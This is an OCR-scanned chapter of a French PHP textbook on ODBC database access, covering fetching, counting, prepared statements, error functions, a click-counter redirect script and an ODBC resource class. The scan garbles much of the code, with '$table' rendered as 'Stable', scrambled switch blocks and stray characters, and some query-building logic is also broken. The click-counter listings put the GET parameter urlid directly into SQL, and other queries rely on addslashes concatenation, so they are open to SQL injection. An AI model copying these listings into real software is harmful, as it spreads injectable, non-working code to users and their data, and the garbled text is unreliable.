Listing 10.47 : insert01_bd_inc.php S 

CD 

<?php 



SJ. 

Fonction chargee de creer et d'alimenter une table 



I** o S 



CD* _ 
CD =■ 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

** i 

function EX_ini ti al i seBD($i dConnexion, $table) 

{ 

// Supprime la precedente table 
$requete = "DROP TABLE Stable"; 
@odbc_exec($i dConnexion, $requete) ; 

// Cree la table 

$requete = "CREATE TABLE Stable (filmld INTEGER, film VARCHAR(64) ) " ; 
if ( !odbc_exec($idConnexion, $requete)) return FALSE; 

// Ajoute quelques donnees 

$requete = "INSERT INTO Stable VALUES (1, 'Forrest Gump')"; 

if ( !odbc_exec($idConnexion, $requete)) return FALSE; 

$requete = "INSERT INTO Stable VALUES (2, 'Matrix')"; 

if ( !odbc_exec($idConnexion, $requete)) return FALSE; 

$requete = "INSERT INTO Stable VALUES (3, 'La cite de la peur')"; 

if ( !odbc_exec($idConnexion, Srequete)) return FALSE; 

return TRUE; 



Champ auto-incremente 

// aurait ete preferable de definir filmld comme etant un champ auto-incremente, 
REMARQUE plutot que de le fixer manuellement. Mais, comme nous le verrons dans un prochain 
exemple, la syntaxe varie d'une base de donnees a V autre. 
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Commit/rollback 

Par defaut, les requetes sont automatiquement validees (mode auto commit). II est toutefois 
possible de modifier ce comportement par defaut en utilisant odbc_autoCommit ( ) . 



odbc_autoCommit () 



Active, desactive ou retourne le mode auto commit. 

Syntaxe mixed odbc_autoCommi t (resource $idConnexion [, boolean 

$autoCommi t] ) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

$autoCommit Indiquer TRUE pour activer le mode auto commit, FALSE pour 

desactiver le mode auto commit, ne pas renseigner pour recuperer le 
mode actuel. 

retour En mode lecture, 1 (mais pas strictement TRUE) si le mode auto commit 

est active, (mais pas strictement FALSE) sinon. 

En mode selection, TRUE en cas de succes, FALSE sinon. 
Si vous avez opte pour un mode de validation non automatique, vous pourrez valider ou 
annuler vos transactions avec les fonctions suivantes : 



odbc_commit() 

Valide les transactions. 

Syntaxe boolean odbc_commi t (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

retour TRUE en cas de succes, ou rien (mais pas FALSE) sinon (c'est 

essentiellement le cas pour un identifiant non valide). 



odbc_rollback() 

Annule les transactions. 

Syntaxe boolean odbc_rol 1 back (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 
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retour TRUE en cas de succes, ou rien (mais pas FALSE) sinon (c'est 

essentiellement le cas pour un identifiant non valide). 

Lecture des enregistrements 

Dans le cas d'une requete retournant une liste de donnees (typiquement un select), il 

convient de recuperer l'identifiant de requete et de l'utiliser pour lire, en boucle, ligne apres ^ 

ligne, chaque enregistrement. II existe diverses fonctions, chacune permettant de recuperer les g| 

champs des enregistrements sous differentes formes. S3 

a. 

Les informations peuvent ainsi etre retournees : ™ 
Champ par champ ; 



a. d> 
o S: 
= o 

3 = 

CD* _ 
CD g- 

Enregistrement par enregistrement (sous la forme d'un tableau indexe). v> 



Lecture champ par champ 



Pour une lecture champ par champ, vous pouvez passer d'un enregistrement au suivant par 
l'appel a odbc_fetch_row( ) , et acceder a l'un quelconque des champs par appel a 

odbc_result ( ) . 



odbc_fetch_row() 

Passe a l'enregistrement suivant ou accede a n'importe quel enregistrement. 

Syntaxe boolean odbc_fetch_row(resource $idResultat [, int 

$i dxEnregi strement] ) 

$idResultat Identifiant de resultat tel que retourne par odbc_exec ( ) ou 

odbc_execute ( ) . 

$i dxEnregi strement Index de l'enregistrement a lire (le premier enregistrement ayant l'index 
1). Par defaut, il s'agit de l'enregistrement suivant. 

retour TRUE en cas de succes, FALSE sinon (plus d'enregistrement a lire). 



odbc_result() 



Retourne la valeur d'un champ de l'enregistrement courant. 

Syntaxe mixed odbc_resul t (resource $idResultat, mixed $champ) 

$idResultat Identifiant de resultat tel que retourne par odbc_exec ( ) ou 

odbc_execute ( ) . 

$champ Au choix, soit le nom du champ (insensible a la casse), soit l'index du 

champ dans la requete (le premier champ ayant l'index 1). 
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retour La valeur du champ, ou FALSE en cas d'erreur, mais egalement dans le cas 

oil le champ est NULL ! En cas d'erreur, un message d'erreur est leve (voir 
odbc_error ( ) et odbc_errormsg ( ) ), mais pas dans le cas d'un 
champ NULL. 

Listing 10.48 : select_cc_bd_inc.php 

<?php 



* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

** J 

function EX_listeContenu($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM $table"; 

$idResultat = odbc_exec($idConnexion, $requete); 

if (!$idResultat) return FALSE; 

// Boucle de lecture (et d'affichage) des enregistrements 
while (odbc_fetch_row($idResultat)) { 

echo "FilmId=".odbc_result($idResultat, "filmid")." ". 

"Film =" .odbc_result($idResultat, "film") . "<br />"; 

} 

return TRUE; 



?> 




Difference entre odbc Jetch_row() et mysql Jetch_row() 

Notez que les fonctions odbc_fetch_row ( ) et mysql_fetch_row ( ) nejouentpas 



ATTENTION exactement le meme role. mysql_fetch_row( ) regroupe les roles de 
odbc_fetch_row ( ) et odbc_result (). 



Lecture enregistrement par enregistrement 

La fonction odbc_f etch_into ( ) peut, dans certains cas, etre plus pratique, puisqu'elle 
retourne l'ensemble des champs de l'enregistrement courant sous la forme d'un tableau. 
L'inconvenient de cette fonction, c'est que Ton ne peut acceder aux champs que par des index 
(et pas par des noms). 
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odbc_fetch_into() 



Retourne l'enregistrement courant sous la forme d'un tableau indexe. 

Syntaxe int odbc_fetch_i nto(resource $idResultat, array 

&$enregi strement [, int $i dxEnregi strement] ) 

$idResultat Identifiant de resultat tel que retourne par odbc_exec ( ) ou g> 

odbc_execute ( ) . % 

$enregi strement Reference sur un tableau dans lequel seront copiees les donnees de " 
l'enregistrement. Ce tableau est un tableau indexe dans lequel les valeurs 
apparaissent dans l'ordre des champs de la requete (le premier champ 
ayant 1'indexO). 

$i dxEnregi strement Index de l'enregistrement a lire (le premier enregistrement ayant l'index 
1). Par defaut, il s'agit de l'enregistrement suivant. 

retour Le nombre de champs en cas de succes, FALSE sinon (plus 

d'enregistrement a lire). 
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Listing 10.49 : select eei bd inc.php 

<?php 

I** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** I 

function EX_listeContenu($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

SidResultat = odbc_exec($idConnexion, $requete) ; 

if (!$idResultat) return FALSE; 

// Boucle de lecture (et d'affichage) des enregistrements 
while (odbc_fetch_into($idResul tat, $enreg)) { 
echo "FilmId=".$enreg[0] ." ". 

"Film =" .$enreg[l] . "<br />"; 

} 

return TRUE; 
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Liberation des ressources 

Si, au cours d'un script, vous faites appel a de nombreuses requetes retournant de nombreux 
enregistrements, alors, n'hesitez pas, une fois le resultat de la requete exploite, a liberer les 
ressources associees avec la fonction odbc_f ree_result ( ) . 



03 »> 
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odbc_free_result() 

Libere les ressources allouees pour un resultat de requete. 

Syntaxe boolean odbc_f ree_resul t (resource $i dResul tat) 

SidResul tat Identifiant de requete tel que retourneparmysql_query ( ] 

retour TRUE en cas de succes, FALSE sinon. 



Nombre d' enregistrements 
Nombre d' enregistrements retournes 

II existe trois facons de determiner le nombre d'enregistrements retournes par une requete. 

Si vous souhaitez uniquement connaitre le nombre d'enregistrements, mais ne souhaitez pas 
immediatement lire ces enregistrements, alors il vous suffit de faire une requete count ( ) , 
comme suit : 

Listing 10.50 : count bd incphp 

<?php 

I** 

* Fonction affi chant le nombre d'enregistrements 

* dans une table 
* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la tabme 

** J 

function EX_compte($idConnexion, Stable) 

{ 

// Requete 

Srequete = "SELECT C0UNT(*) FROM Stable"; 
SidResultat = odbc_exec($idConnexion, Srequete); 

// Lecture du resultat 

if (odbc_fetch_into($idResultat, Senreg)) { 

echo "II y a " .$enreg[0] . " enregistrements dans la table. <br />"; 

return TRUE; 
} else { 

echo "Etes vous sur que la table Stable existe ?<br />"; 
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return FALSE; 



Si vous souhaitez connaitre le nombre d'enregistrements, mais que vous souhaitez lire les 
enregistrements sans pour autant avoir besoin au prealable d'en connaitre le nombre, il suffit cr 
de les compter au fur et a mesure de leur lecture. Jg 

V) 



Listing 10.51 : count select bdjnc.php 

<?php 

I** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** I 

function EX_listeContenu($idConnexion, $table) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

SidResultat = odbc_exec($idConnexion, $requete) ; 

if (!$idResultat) return FALSE; 

// Boucle de lecture (et de comptage) des enregistrements 
$nb = 0; 

while (odbc_fetch_into($idResul tat, $enreg)) { 
// Vous pouvez manipuler $enreg a votre guise 
//echo "FilmId=".$enreg[0] ." ". 
// "Film =" .$enreg[l] ."<br />"; 
$nb++; 

} 

echo "II y a $nb enregistrements dans la table. <br />"; 
return TRUE; 

} 

?> 



a. as 
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Et, pour finir, ce que vous attendez tous : si vous souhaitez connaitre le nombre 
d'enregistrements avant de les lire, vous pouvez faire appel a la fonction odbc_num_rows ( ) . 
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odbc_num_rows() 



Retourne le nombre d'enregistrements retournes ou modifies par la requete SQL. 
Syntaxe int odbc_num_rows (resource $idResul tat) 

$idResul tat Identifiant de resultat tel que retourne par odbc_exec ( ) (ne fonctionne 

pas avec odbc_execute ( ) ). 

retour Nombre d'enregistrements, ou rien (mais pas FALSE) en cas d'erreur. 



u Listing 10.52 : count num rows bdjnc.php 

<?php 

I** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

** j 

function EX_listeContenu($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 
$idResultat = odbc_exec($idConnexion, $requete); 
if (!$idResultat) return FALSE; 

echo "II y a M .odbc_num_rows($idResultat) ." enregi strements 
"dans la table<br />"; 

return TRUE; 

} 

?> 



Sachant qu'une requete select * est plus longue qu'une requete select count ( * ) , 
privilegiez la premiere methode si vous n'avez que faire du contenu des enregistrements. 

Nombre d'enregistrements modifies 

Pour determiner le nombre d'enregistrements modifies, vous pouvez appeler la fonction 
odbc_num_rows ( ) presentee precedemment. 

Mise a profit des requetes preparees 

Certains serveurs de bases de donnees permettent l'analyse, la compilation et le stockage des 
requetes avant utilisation. Ceci permet d'executer une serie de requetes similaires, sans avoir a 
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renouveler a chaque fois les operations d'analyse et de compilation (mais seulement en 
changeant certaines valeurs). 

Pour cela, il suffit de preparer une requete dans laquelle les elements variables sont remplaces 
par des points d'interrogation (ex. : insert into matabie (film) values (?)). II suffira 
ensuite de preciser ces valeurs au moment de son execution. 

La preparation de la requete se fait via la fonction odbc_prepare ( ) . 



odbc_prepare() 



Syntaxe resource odbc_prepare (resource $idConnexion, string $requete) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

$requete Requete SQL. 

re tour Identifiant de requete en cas de succes (peut egalement etre le cas pour des 

requetes SQL non valides), ou rien (et non FALSE) en cas d'echec 
(identifiant de connexion non valide). 



v> 

CD 

to 



a. as 
o 2: 

= O 



Prepare une requete SQL. ™ cd 



CO 



odbc_execute() 



Execute une requete preparee. 

Syntaxe boolean odbc_execute(resource $idRequete [, array 

$tableauValeurs]) 

$i dRequete Identifiant de requete preparee tel que retourne par odbc_prepare ( ) . 

$tableauValeurs Tableau indexe con tenant les diff erentes valeurs des elements variables de 
la requete preparee (le premier parametre ayant l'index 0). 

retour TRUE en cas de succes, FALSE sinon. 



DB2 d'IBM 

^ Nous avons rencontre des problemes avec I'utilisation des requetes preparees sous 

DB2. En effet, nous n'avons pu utiliser qu'une seule requete preparee par script (ce 
qui nous condamnait a utiliser odbc_exec ( ) pour les requetes suivantes). 
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Gestion des erreurs 

Jusque-la, en cas d'erreur, nous nous sommes contentes d'afficher un message generique. II est 
cependant possible de determiner plus precisement l'origine de l'erreur. 

C'est possible notamment en recuperant un code d'erreur via la fonction odbc_error ( ) . 

■o 05 

= c 

II odbc error () 

.£2 «u — 

= on Retourne le dernier code d'erreur rencontre ou associe a la connexion. 

■_. <D 
. W 

° ^ Syntaxe 

$idConnexion 

retour 



Si l'identifiant de connexion n'est pas precise : dernier code d'erreur (sur 5 
chiffres), meme si la derniere operation s'est effectuee avec succes. 



string odbc_error( [resource $idConnexion] ) 

Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

Si l'identifiant de connexion est precise : dernier code d'erreur (sur 5 
chiffres) rencontre, ou chaine vide en cas de succes de la derniere 
operation. (II a ete constate que la chaine n'est pas toujours exactement 
vide, mais peut contenir un caractere de controle). 



odbc_errormsg() 

Retourne le dernier message d'erreur rencontre ou associe a la connexion. 

Syntaxe string odbc_errormsg ( [resource $idConnexion] ) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

retour Si l'identifiant de connexion est precise : dernier message d'erreur 

rencontre, ou chaine vide en cas de succes de la derniere operation. (II a 
ete constate que la chaine n'est pas toujours exactement vide, mais peut 
contenir un caractere de controle). 

Si l'identifiant de connexion n'est pas precise : dernier message d'erreur, 
meme si la derniere operation s'est effectuee avec succes. 
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Compteur de dies 

Une application courante d'utilisation des bases de donnees et simple a mettre en oeuvre 
consiste a creer un compteur de clics. 

En effet, peut-etre souhaitez-vous, sur votre site, proposer un certain nombre de liens vers des 
sites Internet (annuaire web) ou vers des fichiers (bibliotheques de scripts). Peut-etre que 
certains (ou la totalite) de ces liens sont proposes par un partenaire. Bref, tout cela vous incite 
a savoir quelles sont les pages les plus frequemment consultees (pour connaitre les centres 
d'interet des visiteurs) et combien de visiteurs vous avez rediriges vers votre sponsor. 

La methode la plus classique consiste a stocker, en base de donnees, l'ensemble des liens ainsi 
proposes, et a remplacer les traditionnels liens de la forme http://www.domaine.com par un lien 
vers un script charge d'incrementer le compteur correspondant au site indique, et de rediriger 
le client vers le site grace a la fonction header ( ) . 




Vous pouvez vous reporter a Vannexe "Les en-tetes" pour plus de renseignements sur 
la redirection. 



RENVOI 

Pour notre exemple, nous utiliserons une table appelee url contenant trois champs : 

■ wlid, identifiant de l'URL (champ auto-incremente) ; 
url, l'URL proprement dite ; 

■ nbclic, le nombre de clics. 

Le script de redirection (appele ici compteurclic jredirection.php) devra alors accepter un 
parametre (urlid) et devra, a partir de ce parametre, determiner quelle est la valeur du champ 
url, incrementer nbclic pour cette URL, et rediriger vers url. 

Les appels a ce script auront alors la forme http://localhost/compteurclic-redirection.php?urlid=3 

(pour acceder a l'URL ayant l'identifiant 3). A supposer que l'URL 3 corresponde au site 

http://WWW.SqlfaCile.COm cela signifie que le lien <a href ="http : //www. sqlfacile . com"> 
devra etre remplace par <a href ="compteurclic_redirection.php?urlid=3> si l'on sou- 

haite en compter le nombre de clics. 

Concretement, cette table pourra etre creee et alimentee avec la fonction cc_initialiseBD ( ) 
du script suivant : 

Listing 10.53 : compteurclic_bd_inc.php (debut) 

<?php 

// 

// Charge les parametres de connexion 

// a la base de donnees. 

// 

requi re_once ( "parametres_bd_i nc . php" ) ; 
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I** 

* Fonction de connexion a une base de donnees 

* s'appuie sur les parametres fournis 

* dans parametres_bd_inc.php. 

* @return resource Identi fiant de connexion 

7 

jg u> function CC connexion() 

.2 g global $base, $uti 1 i sateur, $motDePasse; 

CO "O 



= CO 
— ' CO 



return @odbc_pconnect ($base, $uti 1 i sateur, $motDePasse) 

} 

I** 

* Fonction de deconnexion. 

* (Ne fait rien sachant que la fonction 

* de connexion etablit une connexion persistante) 

7 

function CC_deconnexion() 

{ 

return TRUE; 

} 

I** 

* Fonction charge de creer et d'alimenter 

* la table "compteur de clics" 

** j 

function CC_ini tial i seBD($i dConnexion, Stable) 

{ 

global $typeServeur; 



switch ($typeServeur 
case "MSAccess" 

$compteur = 

$default = 
break; 

case "IBMDB2" : 

$compteur = 

$default = 
break; 
default : 

$compteur = 

$default = 

} 



COUNTER"; 



INTEGER GENERATED BY DEFAULT AS IDENTITY" ; 
DEFAULT 0"; 



INTEGER AUTOJNCREMENT" 
DEFAULT 0"; 



// Creation de la table 
$requete = "DROP TABLE Stable"; 
@odbc_exec($idConnexion, $requete) ; 

$requete = "CREATE TABLE Stable (urlld $compteur, " . 

"url VARCHAR(128) NOT NULL,". 
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"nbclic INTEGER $default,". 
"UNIQUE(url))"; 
if ( !odbc_exec($idConnexion, $requete)) return FALSE; 

// Alimentation de la table 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.php.net 1 )"; 
if (lodbc exec($idConnexion, $requete)) return FALSE; o- 

03 

v> 

$requete = "INSERT INTO $table (url)". ™ 
" VALUES ('http://www. phpfacile.com')"; m 
if ( !odbc_exec($idConnexion, $requete)) return FALSE; 



a. as 

o 2: 

= O 

3 = 

CD* _ 

CD =■ 
CD 



$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.sqlfacile.com')"; " " 

if ( !odbc_exec($idConnexion, $requete)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.xmlfacile.com')"; 
if ( !odbc_exec($idConnexion, $requete)) return FALSE; 

$requete = "INSERT INTO $table (url)". 

" VALUES ('http://www.ootoogo.com')"; 
if ( !odbc_exec($idConnexion, $requete)) return FALSE; 

if ($typeServeur == "MSAccess") { 

// Un "patch" pour MSAccess qui ne supporte pas DEFAULT 

$requete = "UPDATE Stable SET nbclic=0"; 

if ( !odbc_exec($idConnexion, $requete)) return FALSE; 

} 

return TRUE; 



Specificite des bases de donnees 

Meme si les fonctions ODBC permettent d'acceder a de nombreuses bases de 
donnees, il n 'en reste pas moins que le langage SQL supporte differe de Vune a V autre. 
C'est ce que nous pouvons constater ici en ce qui conceme la creation d'un champ 
auto-incremente ou les valeurs par defaut. default n'etant pas supporte par MS 
Access 97, il convient de fixer manuellement les valeurs par defaut. 

La lecture de la liste des liens disponibles en base de donnees pourra se faire via la fonction 
cc_recupereLiens ( ) du script suivant : 

Listing 10.54 : compteurclic_bd_inc.php (milieu) 

<?php 

I** 

* Fonction retournant les informations de liens 
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* sous forme d'un tableau associatif possedants 

* les cles 

* - "lien" associe au tableau des liens hypertextes 

* - "nbclic" associe au tableau des nombres de clics 

** i 

function CC_recupereLiens($idConnexion, Stable) 

{ 

// Nom du script charge du comptage et de la redirection 
$script = "compteurclic_redirection.php"; 

// Requete SELECT 

$requete = "SELECT * FROM Stable"; 

$idResultat = odbc_exec($idConnexion, $requete); 

// Recuperation des enregi strements les uns apres les autres 
while (odbc_fetch_row($idResultat)) { 

$liens["lien"] [] = "<a href=\"$script?urlid=". 

odbc_result($idResultat, "url id") . "\">" . 
odbc_resul t ($i dResul tat , " url " ) . "</a>" ; 
$liens["nbclic"] [] = odbc_result($idResultat, "nbclic"); 

} 

return $liens; 

} 

?> 

L'affichage des liens consiste uniquement a mettre en page le contenu du tableau ainsi 
recupere (voir la fonction du script compteurclicjitmljnc.php). 

Comme cela a ete precise, le lien <a href = "http: //www. sqlfacile . com">http: //www 
. sqlfacile . com</a> a ete remplace par <a href="compteurclic_redirection 

.php?urlid=3 ">http: //www. sqlfacile. com </a>. La redirection vers le site www.sqlfacile 
.com est done a la charge du script compteurclic _redirection.php . 

Listing 10.55 : compteurclic_redirection.php 

<?php 

// Parametres du script 

requi re_once ( "compteurcl i c_bd_i nc . php" ) ; 

Stable = "compteurclic"; 

// Connexion a la base de donnees 
$idConnexion = @CC_connexion() ; 
if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 

} 

// Recuperation de 1 1 url et incrementation du compteur 

// pour l'url d'indentifiant passe en parametre de ce script 

// par la methode GET 

$url = @CC_recupereUrl ($idConnexion, $_GET["url id"]) ; 
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// Deconnexion 
@CC_deconnexion() ; 

// C'est I'heure de la redirection 
if ($url) { 

header("Location: $url"); 
} else { a- p 

echo "Desole, nous ne pouvons vous proposer ce lien"; v> J_ 

} oo c 

■>■> » f 

n. Q5 

o a: 

Ce script appelle principalement la fonction cc_recupereurl ( ) suivante : = § 

Listing 10.56 : compteurclic_bd_inc.php (fin) 

<?php 

j-k-k 

* Fonction recuperant une url a parti r de son identifiant 

* et incrementant le compteur de clics 
** I 

function CC_recupereUrl ($idConnexion, $urlid) 

{ 

global Stable; 
// Recupere 1 1 url 

$requete = "SELECT * FROM Stable WHERE url id=$url id" ; 
SidResultat = odbc_exec($idConnexion, $requete); 

if (odbc_fetch_row($idResultat)) { 

$url = odbc_result($idResultat, "url"); 

// Incremente le compteur 

$requete = "UPDATE Stable SET nbcl i c=nbcl i c+1" . 

" WHERE urlid=$urlid"; 
odbc_exec($idConnexion, $requete) ; 
} else { 

$url = FALSE; 

} 

return $url ; 



REMARQUE 



Utilisation du bouton retour 

Si, apres avoir suivi un lien, vous revenez sur la page compteurclic.php en utilisant le 
bouton retour (back), le contenu de la page ne sera pas reactualise. Par consequent, 
le nombre de visites affiche ne sera pas correct. N'oubliez done pas, dans ce cas, de 
rafraichir (bouton actualiser) la page. 
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SuperTheque 

L'essentiel du code de l'application a ete presente en introduction de ce chapitre. II ne restait 
plus qu'a connaitre les fonctions SQLite pour implementer l'interface Ressourceinterf ace 
c'est desormais chose faite: 



£ 2 

<= "£ <?php 
o c 
'■S o 
co -o 



Listing 10.57 : RessourceODBCclass.php 



CO 



i ncl ude_once( "Res source I nterface_cl ass . php" ) ; 
include_once(dirname( FILE ) ."/. ./config/odbc_cfg.php") ; 

/* 



/** 



1j g * RessourceODBC_class.php 



* Classe d'acces a une base de donnees MS ACCESS ou IBM DB2 via ODBC 

* Cette classe doit implementer toutes les methodes de l'interface 

* Ressourcelnterface. 

* Compatibil ite: PHP 5 

7 

class Ressource implements Ressourcelnterface 
{ 

var $idConnexion; 

public function connexion() 

{ 

global $odbc_serveur, $odbc_uti 1 i sateur, $odbc_motDePasse; 
global $odbc_base; 

if (!isset($this->idConnexion)) { 

$idConnexion = odbc_pconnect($odbc_base, 

$odbc_uti 1 i sateur, 
$odbc_motDePasse) ; 

if (!$idConnexion) return FALSE; 

$this->idConnexion = $idConnexion; 

} 

return TRUE; 

} 

public function deconnexion() 

{ 

// Rien a faire, il s'agit d'une connexion persistante 

} 

public function reset() 

{ 

global $odbc_typeServeur; 
$requete = "DROP TABLE types"; 

$idResultat = @odbc_exec($thi s->idConnexion, $requete) ; 

switch ($odbc_typeServeur) { 
case "MSAccess" : 

$compteur = "COUNTER" ; 
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break; 
case "IBMDB2" : 

$COtnpteur = "INTEGER GENERATED BY DEFAULT AS IDENTITY"; 

break; 
defaul t : 

$compteur = "INTEGER AUTO_INCREMENT" ; 

} 

cr 

$requete = "CREATE TABLE types (". jg 
"id $compteur,". ™ 
"type VARCHAR(255))"; S" 

$idResultat = odbc_exec($this->idConnexion, $requete); 

if (!$idResultat) return FALSE; 

CD* _ 
CD g 

$types = array ("Album", "Film", "Livre", "Musique"); " « 

foreach ($types as $type) { 

$requete = "INSERT INTO types (type) VALUES ('$type')"; 

$idResultat = odbc_exec($this->idConnexion, $requete); 

if (!$idResultat) return FALSE; 

} 



a. as 
o s: 
= o 



$requete = "DROP TABLE articles"; 

$idResultat = @odbc_exec($this->idConnexion, $requete); 

$requete = "CREATE TABLE articles (". 

"id $compteur, " . 

"albumld INTEGER,". 

"titre VARCHAR(255),". 

"typeld INTEGER,". 

"commentaire VARCHAR(255) NULL)"; 
$idResultat = odbc_exec($this->idConnexion, $requete); 
if (!$idResultat) return FALSE; 



public function addArticle($albumId, 

$titre, 
$typeld, 
$commentai re) 

{ 

$requeteDebut = "INSERT INTO articles (albumld, titre, typeld"; 
$requeteFin = ") VALUES ($albumld,". 

.addSlashes($titre)." 1 ,". 

"$typeld"; 

if ($commentaire != "") { 

$requeteDebut .= ".commentaire"; 

$requeteFin .= ", '".addSl ashes ($commentai re) ; 

} 

$requete = $requeteDebut . $requeteFin . ")"; 
$idResultat = odbc_exec($this->idConnexion, $requete); 
if (!$idResultat) return FALSE; 
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public function getArticle($articleId) 

{ 

$requete = "SELECT * FROM articles WHERE id=$articleld"; 
$idResultat = odbc_exec($this->idConnexion, $requete) ; 
if (!$idResultat) return FALSE; 

$article = NULL; 

jg co if ($enreg = odbc fetch array ($i dResul tat) ) { 

T3 OJ 



CO 



cd $article = $thi s->enreg2Arti cl e($enreg) ; 

} 

return $article; 



e = } 



= CO 
— ' CO 



} 

public function getArticles(Filtre $filtre, Plage $plage, Tri $tri) 

{ 

$requete = "SELECT * FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE '". 

addSl ashes ($f i 1 tre->getTi tre() ) ; 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId() ; 

} 

if ($tri->getSens() == -1) { 

$triSQL = "ORDER BY " .$tri ->getChamp() . " DESC"; 
} else if ($tri->getSens() == 1) { 

$tri SQL = "ORDER BY " .$tri ->getChamp() . " ASC"; 

} 

$requete = $requete." WHERE " .$conditionSQL. " ". 

$triSQL; 

$idResultat = odbc_exec($this->idConnexion, $requete) ; 
if (!$idResultat) return FALSE; 

$articles = NULL; 

// Nous devons sauter les premiers resultats 
if ($plage->getPremierArticle()>0) { 
odbc_fetch_row($i dResul tat, 

$plage->getPremierArticle()) ; 

} 

while (($enreg = odbc_fetch_array($idResultat)) 

&&(count ($arti cl es)<$pl age->getNbArti cl eMax() ) ) { 
$articles[] = $this->enreg2Article($enreg) ; 

} 

return $articles; 
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public function getNbTotalArticles(Filtre $filtre) 

{ 

$requete = "SELECT C0UNT(*) FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE '". 

addSl ashes ($fi 1 tre->getTi tre () ) ; 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(); 

} 

$requete = $requete." WHERE ".$conditionSQL; 
$idResultat = odbc_exec($this->idConnexion, $requete); 
if (!$idResultat) return FALSE; 
if (odbc_fetch_into($idResultat, &$enreg)) { 

return $enreg[0] ; 
} else return FALSE; 



public function getTypesQ 

{ 

$requete = "SELECT * FROM types"; 

$idResultat = odbc_exec($this->idConnexion, $requete); 
if (!$idResultat) return FALSE; 

$types = NULL; 

while ($enreg = odbc_fetch_array($idResultat)) { 
$types[$enreg["id"]] = $enreg["type"] ; 

} 

return $types; 



public function getAl bumTypeId() 
{ 

return 1; 

} 



private function enreg2Arti cl e($enreg) 
{ 

$article = new Article(); 
$article->setld($enreg["id"]) ; 
$article->setAlbumId($enreg["albumId"]) ; 
$art i cle->setTi tre ($enreg[" titre"]) ; 
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$article->setTypeId($enreg["typeId"] ) ; 
$article->setCommentai re($enreg ["commentai re"] ) ; 
return $article; 

} 

} 

?> 

Comme vous le constatez, la principale difficulte n'est pas tant au niveau des fonctions 
disponibles qu'au niveau de la construction des requetes SQL. La requete sera simple lorsqu'il 
ne s'agit que de recuperer un enregistrement identifie par la cle id (comme c'est le cas avec 
getArticle ( ) ) elle sera bien plus complexe s'il s'agit des recuperer un ensemble 
d'enregistrements repondant a des criteres precis et tries (comme c'est le cas avec 
getArticles ( ) ). 

Requetes avec des apostrophes 

Lors de la construction de la requete, il faut bien garder a l'esprit que Fun des elements de la 
requete (typiquement un champ de type texte saisi par l'utilisateur, comme ici le titre ou le 
commentaire) peut contenir une apostrophe qui pourrait etre confondu avec le delimiteur de 
chaine. Pensez done bien a faire un appel a addsiashes ( ) lorsque cela peut s'averer 
necessaire. 

Affichage page par page 

Certaines bases de donnees permettent de ne retourner qu'un sous-ensemble des resultats 
d'une requetes SQL ; d'autres permettent seulement de retourner les N premiers resultats. En 
ce qui concerne MS Access et DB2, il semblerait qu'ils ne permettent pas ce genre 
d'optimisation. Nous sommes done dans l'obligation de demander tous les resultats, et 
d'ignorer ceux qui ne nous interessent pas. 

Tri 

Modifier 1'ordre d'affichage des annonces n'est pas non plus bien sorcier. Le tri peut s'effectuer 
directement au niveau de la requete SQL, grace a l'instruction order by. 

Moteur de recherche (filtre) 

Pour filtrer, il suffit d'utiliser l'instruction where. Dans notre cas, nous souhaitons autoriser 
l'utilisation de jokers (comme %) afin, par exemple, de rechercher les titres commencant par 
une chaine donnee. C'est pourquoi, nous ne ferons pas un test de type titre= 'motcle ' mais 
titre like 'motcle' (ou motcle pourrait avoir la valeur "La 7eme compagnie%"). 

En savoir plus... 

II y a bien plus a apprendre d'une base de donnees... 
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. . . sur le resultat d'une requete 

II vous est ainsi possible de connaitre le nombre de champs retournes par une requete (et par 
consequent le nombre de champs d'une table dans le cas d'une requete select * from 
<nom_tabie> sur une table non vide). 



odbc_num_fiels() 



Mais aussi, le nom de ces champs : 



v> 

CD 



Retourne le nombre de champs dans l'enregistrement retourne par une requete SQL. o §r. 

3 O 
3 3 

Syntaxe int odbc num fi el ds (resource $i dResul tat) cd* 2- 

- - „ CD 

$i dResul tat Identifiant de resultat tel que retourne par odbc_exec ( ) ou 

odbc_execute ( ) . 

